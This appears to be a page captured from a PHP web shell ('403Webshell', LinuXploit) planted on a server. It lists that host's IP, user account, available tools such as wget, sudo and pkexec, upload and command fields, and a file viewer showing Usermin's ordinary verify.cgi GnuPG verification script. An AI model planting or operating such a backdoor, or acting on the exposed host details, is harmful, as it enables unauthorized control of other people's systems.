403Webshell
Server IP : 172.67.134.114  /  Your IP : 104.23.197.123
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/usermin/gnupg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/usermin/gnupg/verify.cgi
#!/usr/bin/perl
# verify.cgi
# Verify the signature on a file

require './gnupg-lib.pl';
&ReadParseMime();

# Get file data
if ($in{'mode'} == 0) {
	$in{'upload'} || &error($text{'verify_eupload'});
	$data = $in{'upload'};
	}
elsif ($in{'mode'} == 1) {
	$in{'local'} || &error($text{'verify_eupload'});
	-r $in{'local'} || &error($text{'verify_elocal'});
	$data = &read_file_contents($in{'local'});
	}
elsif ($in{'mode'} == 3) {
	$data = $in{'text'};
	$data =~ s/\r//g;
	}

# Get signature data
if ($in{'sigmode'} == 0) {
	$in{'sigupload'} || &error($text{'verify_esigupload'});
	$sigdata = $in{'sigupload'};
	}
elsif ($in{'sigmode'} == 1) {
	$in{'siglocal'} || &error($text{'verify_esigupload'});
	-r $in{'siglocal'} || &error($text{'verify_esiglocal'});
	$sigdata = &read_file_contents($in{'siglocal'});
	}
elsif ($in{'mode'} == 3) {
	$sigdata = $in{'sigtext'};
	$sigdata =~ s/\r//g;
	}
else {
	$sigdata = undef;
	}

($code, $message) = &verify_data($data, $sigdata);

&ui_print_header(undef, $text{'verify_title'}, "");

$red = "<font color=#ff0000>";
$end = "</font>";
if ($code == 0 || $code == 1) {
	print &text('verify_good', &html_escape($message)),"<p>\n";
	if ($code == 1) {
		print "<b>$red$text{'verify_warning'}$end</b><p>\n";
		}
	}
elsif ($code == 2) {
	print "$red",&text('verify_bad', &html_escape($message)),"$end<p>\n";
	}
elsif ($code == 3) {
	print "$red",&text('verify_noid', &html_escape($message)),"$end<p>\n";
	}
else {
	print "$red",&text('verify_failed', "<pre>$message</pre>"),"$end<p>\n";
	}

&ui_print_footer("", $text{'index_return'});


Youez - 2016 - github.com/yon3zu
LinuXploit